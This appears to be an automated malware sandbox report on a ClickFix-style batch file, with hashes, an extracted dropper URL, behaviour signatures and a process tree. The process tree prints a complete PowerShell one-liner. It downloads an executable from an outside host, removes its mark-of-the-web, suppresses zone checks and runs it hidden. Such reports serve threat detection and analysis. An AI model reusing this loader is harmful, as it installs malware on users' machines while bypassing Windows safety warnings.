Analysis

  • max time kernel
    148s
  • max time network
    116s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    16/08/2026, 09:28

General

  • Target
    clickfix_raw_user_input.bat
  • Size 253B
  • Sample260816-lfeyhat1f1
  • SHA256 be1295ab3c9b1d71242b73984fc540a10d5355e17ba64d8c4dec9795643d93e6
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://plonkert.cfd/de372ad5.exe

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\clickfix_raw_user_input.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5124
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -nop -w h -ep bypass -c "$u='https://plonkert.cfd/de372ad5.exe';$f=$env:TEMP+'\\x.exe';$w=[Net.WebClient]::new();$w.('Down'+'loadFile')($u,$f);Unblock-File $f -EA 0;ri ($f+':Zone.Identifier') -EA 0;$env:SEE_MASK_NOZONECHECKS=1;& $f
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4084

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/4084-0-0x00007FFB4669F000-0x00007FFB466A0000-memory.dmp

        memory/4084-4-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

        memory/4084-3-0x000001F872340000-0x000001F872362000-memory.dmp

        memory/4084-5-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

        memory/4084-6-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

        memory/4084-7-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

        memory/4084-8-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

        memory/4084-9-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

        memory/4084-10-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

        memory/4084-11-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

        memory/4084-12-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp

        memory/4084-14-0x00007FFB46510000-0x00007FFB46EB4000-memory.dmp